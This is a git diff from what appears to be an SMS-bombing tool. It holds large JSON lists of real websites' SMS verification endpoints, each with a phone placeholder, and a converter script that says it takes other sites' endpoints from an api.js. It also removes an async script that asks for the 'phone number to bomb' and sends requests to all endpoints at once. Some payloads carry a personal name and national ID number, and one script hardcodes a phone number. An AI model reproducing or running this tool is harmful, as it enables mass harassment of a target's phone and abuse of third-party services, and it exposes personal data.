"http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode", + "method": "POST", + "header": "", + "data": { + "phoneNumber": "[phone]", + "sendType": "0" + } + }, + { + "desc": "闪德资讯", + "url": "https://www.0101ssd.com/user/sendmsg", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "event": "register" + } + }, + { + "desc": "江苏省名师空中课堂", + "url": "https://mskzkt.jse.edu.cn/baseApi/user/code/", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "type": "1" + } + }, + { + "desc": "CSFF短片", + "url": "https://csff.cutv.com/wapi/users/sendregcode", + "method": "POST", + "header": "", + "data": { + "telphone": "[phone]" + } + }, + { + "desc": "广西人社厅", + "url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx", + "method": "POST", + "header": "", + "data": { + "aae005": "[phone]", + "aac003": "刘萌萌", + "aac002": "210212198506035924", + "notkeyflag": "1" + } + }, + { + "desc": "麦克赛尔数字映像", + "url": "https://www.maxell-dm.cn/Code/CheckImage.aspx", + "method": "POST", + "header": "", + "data": { + "action": "send", + "txtMember_Name": "[phone]" + } + }, + { + "desc": "宝提分", + "url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "选型系统", + "url": "http://www.cnppump.ltd/Service/UserHandler.ashx", + "method": "GET", + "header": "", + "data": { + "cmd": "GetTelVerifyCode", + "Tel": "[phone]" + } + }, + { + "desc": "千里马网信科技", + "url": "http://vip.qianlima.com/rest/u/api/user/register/mobile/code", + "method": "POST", + "header": "", + "data": { + "tips": "1", + "shouji": "[phone]" + } + }, + { + "desc": "保定云", + "url": "https://baodingyun.com.cn/register/send_registerSMS.html", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "欢动游戏", + "url": "http://www.gm5.com/auth/registerSms.html", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "迈威", + "url": "https://www.maiwe.com.cn/index/sendcode.html", + "method": "GET", + "header": "", + "data": { + "tel": "[phone]" + } + }, + { + "desc": "憨鼠社区", + "url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "天鹅到家", + "url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "诺达筑工", + "url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "栋才智慧", + "url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "工伤预防网上培训平台", + "url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "济宁专技", + "url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "sendType": "4" + } + }, + { + "desc": "宁夏伊地地质工程有限公司", + "url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "青春大学说", + "url": "http://zycp.qcdxs.com:5001/sms/sendsms", + "method": "POST", + "header": "", + "data": { + "phone_number": "[phone]" + } + }, + { + "desc": "兴业利达电子招投标平台", + "url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms", + "method": "POST", + "header": "", + "data": { + "username": "[phone]", + "type": "regUser", + "mobile": "PC" + } + }, + { + "desc": "火象", + "url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms", + "method": "POST", + "header": "", + "data": { + "temp": "1", + "phone": "[phone]" + } + }, + { + "desc": "中科教育", + "url": "https://www.vipexam.cn/user/identifyingCode.action", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "聚题库", + "url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "苏州高新区教育局", + "url": "https://jssnd.edu.cn/apiu/v1/register/auth", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "专业技术人员继续教育平台", + "url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "泰安专技", + "url": "https://sdta-web.yxlearning.com/sendphoneCode.gson", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "sendType": "4" + } + }, + { + "desc": "志睿择", + "url": "https://www.vipexam.cn/user/identifyingCode.action", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "漏洞银行", + "url": "https://www.bugbank.cn/api/verifymobile", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "中国劳动保障新闻网", + "url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "广东省心理学会", + "url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "费耘网", + "url": "https://www.feeclouds.com/homepage/register/send", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + } +] \ No newline at end of file diff --git a/hz-web.json b/debug/hz-web.json similarity index 100% rename from hz-web.json rename to debug/hz-web.json diff --git a/spider-api.py b/debug/spider-api.py similarity index 100% rename from spider-api.py rename to debug/spider-api.py diff --git a/debug/tou_api.py b/debug/tou_api.py new file mode 100644 index 0000000..5740486 --- /dev/null +++ b/debug/tou_api.py @@ -0,0 +1,40 @@ +# encoding=utf8 +# 从 api.js 偷别人家的接口 +import pathlib +import json +from pydantic import BaseModel +from typing import Optional, Union + +path = pathlib.Path(__file__).parent.resolve() + + +class API(BaseModel): + """处理自定义 API 数据""" + desc: str = "Default" + url: str = "" + method: str = "GET" + header: Optional[Union[str, dict]] = "" + data: Optional[Union[str, dict]] + + +def main(): + with open(pathlib.Path(path, "touapi.json"), mode="r", encoding="utf8") as c: + js = json.load(fp=c) + + apis = [] + for j in js: + # print(j) + api = API() + api.url = j[0] + api.method = j[3] + api.desc = j[2] + api.data = j[4] + apis.append(api.dict()) + # print(apis) + + with open(pathlib.Path(path, "api_tou.json"), mode="w", encoding="utf8") as cc: + js = json.dump(obj=apis, fp=cc, ensure_ascii=False) + + +if __name__ == "__main__": + main() diff --git a/debug/touapi.json b/debug/touapi.json new file mode 100644 index 0000000..49e6fc3 --- /dev/null +++ b/debug/touapi.json @@ -0,0 +1,533 @@ +[ + [ + "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", + "111", + "迪卡侬", + "POST", + { + "countryCode": "CN", + "mobile": "[phone]" + }, + "https://www.decathlon.com.cn/zh/create" + ], + [ + "https://www.guhai.com.cn/front/member/sendSmsCode", + 60, + "股海网", + "POST", + { + "mobile": "[phone]" + }, + "https://www.guhai.com.cn/register.html" + ], + [ + "http://www.lll.plus/sendCode/", + 60, + "LLL的个人blog", + "POST", + { + "tel": "[phone]", + "forgetPwd": "" + }, + "http://www.lll.plus/register/" + ], + [ + "https://www.xcxui.com/index/register/getcode.html", + 60, + "企米子", + "POST", + { + "tel": "[phone]" + }, + "https://www.xcxui.com/index/register" + ], + [ + "https://id.pgyer.com/user/getRegisterCode", + 60, + "蒲公英", + "POST", + { + "tel": "[phone]", + "callingCode": "86", + "mode": "tel" + }, + "https://id.pgyer.com/user/register?mode=tel" + ], + [ + "https://erp.abiz.com/mobilecode/sendMobileCode", + 60, + "百卓优采", + "POST", + { + "mobile": "[phone]", + "captcha": "" + }, + "https://erp.abiz.com/register" + ], + [ + "https://brand.yunbeilou.com/index.php/smssend", + 30, + "云背篓", + "POST", + { + "phone": "[phone]", + "v": "yes" + }, + "https://brand.yunbeilou.com/index.php/register" + ], + [ + "https://m.php.cn/account/phone_code.html", + 60, + "PHP中文网", + "POST", + { + "phone": "[phone]" + }, + "https://m.php.cn/reg.html" + ], + [ + "http://dhba.12321.cn/api/verifycode", + 60, + "12321", + "POST", + { + "phone": "[phone]" + }, + "http://dhba.12321.cn/user/register" + ], + [ + "https://www.ztestin.com/users/send/vercode", + 60, + "Testin众测", + "POST", + { + "phone": "[phone]", + "type": "register", + "voice": "0" + }, + "https://www.ztestin.com/users/register?from=menu" + ], + [ + "http://maker.haier.net/client/user/sendregistervcode.html", + 60, + "海尔", + "POST", + { + "account": "[phone]" + }, + "http://maker.haier.net/client/mobile/register.html" + ], + [ + "https://www.feimaoyun.com/index.php/invite/h5sendmsg", + 30, + "飞猫云", + "POST", + { + "pcode": "+86", + "phone": "[phone]" + }, + "https://yq.jingfile.com/static/invite/register.html?type=3&code=FM666685N0UFSVIP" + ], + [ + "https://end.huajuetech.com/api/sendCode", + 60, + "华觉数字化平台", + "POST", + { + "mobile": "[phone]", + "email": "null", + "verfy_method": "mobile" + }, + "https://end.huajuetech.com/admin.php/system/Passport/regist.html" + ], + [ + "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm", + 120, + "问政江西", + "POST", + { + "phone": "[phone]" + }, + "https://wenz.jxnews.com.cn/ms/index.php/Home/User/register/" + ], + [ + "http://api.hndyjyfw.gov.cn/djapi/mobileVerify", + 60, + "河南智慧党建", + "POST", + { + "phone": "[phone]", + "verifytype": "1" + }, + "http://www.hndyjyfw.gov.cn/register.html" + ], + [ + "https://cloud.666idc.com/index/login/sendsms.html", + 60, + "陆陆陆云安全", + "POST", + { + "mobile": "[phone]", + "mobile_pre": "86" + }, + "https://cloud.666idc.com/index/login/register" + ], + [ + "https://dz.blizzard.cn/action/user/mobile/captcha", + 60, + "网易", + "POST", + { + "mobile": "[phone]" + }, + "https://dz.blizzard.cn/register" + ], + [ + "https://www.codeseeding.com/loginUser/toSend", + 60, + "码云社", + "POST", + { + "phone": "[phone]" + }, + "https://www.codeseeding.com/index" + ], + [ + "http://sso.rcsd.cn/regist/getVerifyCode", + 120, + "人才山东", + "POST", + { + "personcall": "[phone]" + }, + "http://sso.rcsd.cn/regist/registeHome" + ], + [ + "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action", + 60, + "水利部", + "POST", + { + "mobile": "[phone]" + }, + "http://sso.mwr.cn/examine/getexamines.jsp" + ], + [ + "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode", + 60, + "七联大学", + "POST", + { + "phoneNumber": "[phone]", + "sendType": "0" + }, + "http://ut7.whu.edu.cn/Home/studentCommon/studentLogin.jsp" + ], + [ + "https://www.0101ssd.com/user/sendmsg", + 60, + "闪德资讯", + "POST", + { + "mobile": "[phone]", + "event": "register" + }, + "https://www.0101ssd.com/" + ], + [ + "https://mskzkt.jse.edu.cn/baseApi/user/code/", + 60, + "江苏省名师空中课堂", + "POST", + { + "mobile": "[phone]", + "type": "1" + }, + "https://mskzkt.jse.edu.cn/baseApi/user/code/" + ], + [ + "https://csff.cutv.com/wapi/users/sendregcode", + 60, + "CSFF短片", + "POST", + { + "telphone": "[phone]" + }, + "https://csff.cutv.com/register" + ], + [ + "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx", + 60, + "广西人社厅", + "POST", + { + "aae005": "[phone]", + "aac003": "刘萌萌", + "aac002": "210212198506035924", + "notkeyflag": "1" + }, + "http://rswb.gx12333.net/member/register.jhtml" + ], + [ + "https://www.maxell-dm.cn/Code/CheckImage.aspx", + 60, + "麦克赛尔数字映像", + "POST", + { + "action": "send", + "txtMember_Name": "[phone]" + }, + "https://www.maxell-dm.cn/register.aspx" + ], + [ + "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action", + 60, + "宝提分", + "POST", + { + "mobile": "[phone]" + }, + "http://main.jiajiaozaixian.com/zhuce/student/zhuce_xy1.jsp?" + ], + [ + "http://www.cnppump.ltd/Service/UserHandler.ashx", + 60, + "选型系统", + "GET", + { + "cmd": "GetTelVerifyCode", + "Tel": "[phone]" + }, + "http://www.cnppump.ltd/Register/RegisterByTel.aspx" + ], + [ + "http://vip.qianlima.com/rest/u/api/user/register/mobile/code", + 60, + "千里马网信科技", + "POST", + { + "tips": "1", + "shouji": "[phone]" + }, + "http://vip.qianlima.com/register.html" + ], + [ + "https://baodingyun.com.cn/register/send_registerSMS.html", + 60, + "保定云", + "POST", + { + "phone": "[phone]" + }, + "https://baodingyun.com.cn/register.html" + ], + [ + "http://www.gm5.com/auth/registerSms.html", + 60, + "欢动游戏", + "POST", + { + "mobile": "[phone]" + }, + "http://www.gm5.com/auth/register.html" + ], + [ + "https://www.maiwe.com.cn/index/sendcode.html", + 60, + "迈威", + "GET", + { + "tel": "[phone]" + }, + "https://www.maiwe.com.cn/index/register.html" + ], + [ + "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86", + 60, + "憨鼠社区", + "GET", + {}, + "" + ], + [ + "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112", + 60, + "天鹅到家", + "GET", + {}, + "" + ], + [ + "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=", + 60, + "诺达筑工", + "GET", + {}, + "" + ], + [ + "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2", + 60, + "栋才智慧", + "GET", + {}, + "" + ], + [ + "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69", + 60, + "工伤预防网上培训平台", + "GET", + {}, + "" + ], + [ + "https://sdjn-web.yxlearning.com/sendphoneCode.gson", + 60, + "济宁专技", + "POST", + { + "phone": "[phone]", + "sendType": "4" + }, + "https://sdjn-web.yxlearning.com/staffRegister.shtml" + ], + [ + "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1", + 60, + "宁夏伊地地质工程有限公司", + "GET", + {}, + "" + ], + [ + "http://zycp.qcdxs.com:5001/sms/sendsms", + 60, + "青春大学说", + "POST", + { + "phone_number": "[phone]" + }, + "http://zycp.qcdxs.com/user/register.html" + ], + [ + "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms", + 60, + "兴业利达电子招投标平台", + "POST", + { + "username": "[phone]", + "type": "regUser", + "mobile": "PC" + }, + "https://www.gzxyld.cn/HuiEbid/view/register.html" + ], + [ + "https://v1.alphazone-data.cn/academy/api/v1/sendsms", + 60, + "火象", + "POST", + { + "temp": "1", + "phone": "[phone]" + }, + "https://www.alphazone.com.cn/register.html" + ], + [ + "https://www.vipexam.cn/user/identifyingCode.action", + 60, + "中科教育", + "POST", + { + "phone": "[phone]" + }, + "https://www.vipexam.cn/register.html" + ], + [ + "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb", + 60, + "聚题库", + "GET", + {}, + "" + ], + [ + "https://jssnd.edu.cn/apiu/v1/register/auth", + 60, + "苏州高新区教育局", + "POST", + { + "phone": "[phone]" + }, + "https://jssnd.edu.cn/register.html" + ], + [ + "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8", + 60, + "专业技术人员继续教育平台", + "GET", + {}, + "" + ], + [ + "https://sdta-web.yxlearning.com/sendphoneCode.gson", + 60, + "泰安专技", + "POST", + { + "phone": "[phone]", + "sendType": "4" + }, + "https://sdta-web.yxlearning.com/staffRegister.shtml" + ], + [ + "https://www.vipexam.cn/user/identifyingCode.action", + 60, + "志睿择", + "POST", + { + "phone": "[phone]" + }, + "https://www.vipexam.cn/register.html" + ], + [ + "https://www.bugbank.cn/api/verifymobile", + 90, + "漏洞银行", + "POST", + { + "mobile": "[phone]" + }, + "https://www.bugbank.cn/bbe/register.html" + ], + [ + "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode", + 60, + "中国劳动保障新闻网", + "POST", + { + "mobile": "[phone]" + }, + "https://www.clssn.com/register.html" + ], + [ + "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html", + 60, + "广东省心理学会", + "POST", + { + "phone": "[phone]" + }, + "http://gpa-gd.scnu.edu.cn/member/index/register.html?siteid=1" + ], + [ + "https://www.feeclouds.com/homepage/register/send", + 60, + "费耘网", + "POST", + { + "mobile": "[phone]" + }, + "https://www.feeclouds.com/register.html" + ] +] \ No newline at end of file diff --git a/smsboom_async.py b/smsboom_async.py deleted file mode 100644 index 6208358..0000000 --- a/smsboom_async.py +++ /dev/null @@ -1,79 +0,0 @@ -# encoding=utf8 -# 短信发送异步版..... -import asyncio -import json -import pathlib -import sys - -import httpx -from loguru import logger -from urllib3 import disable_warnings -from typing import List -from utils import API, default_header - -disable_warnings() - -# logger config -logger.remove() -logger.add( - sink=sys.stdout, - format="{time:YYYY-MM-DD at HH:mm:ss} - {level} - {message}", - colorize=True, - backtrace=True -) -# current directory -path = pathlib.Path(__file__).parent - -phone = "19820294267" - - -def load_json() -> List[API]: - """load json for api.json - :return: api list - """ - json_path = pathlib.Path(path, 'api.json') - if not json_path.exists(): - logger.error("Json file not exists!") - return None - - with open(json_path.resolve(), mode="r", encoding="utf8") as j: - try: - datas = json.loads(j.read()) - APIs = [ - API(**data) - for data in datas - ] - return APIs - except Exception as why: - logger.error(f"Json file syntax error:{why}") - return None - - -async def rqs(api: API): - async with httpx.AsyncClient(headers=default_header) as c: - try: - if isinstance(api.data, dict): - resp = await c.request(method=api.method, url=api.url, json=api.data, headers=api.header) - else: - resp = await c.request(method=api.method, url=api.url, data=api.data, headers=api.header) - logger.success(f"{api.desc}-请求成功-{resp.text}") - except httpx.HTTPError as why: - logger.error(f"{api.desc}-请求错误-{why}") - - -@logger.catch -async def main(): - APIs = load_json() - if APIs is None: - return - # 接收一个元组需要用 * 传参 - await asyncio.gather( - *(rqs(api.handle_API(phone)) - for api in APIs) - ) - - - -if __name__ == "__main__": - phone = input(">>需要轰炸的手机号码:") - asyncio.run(main())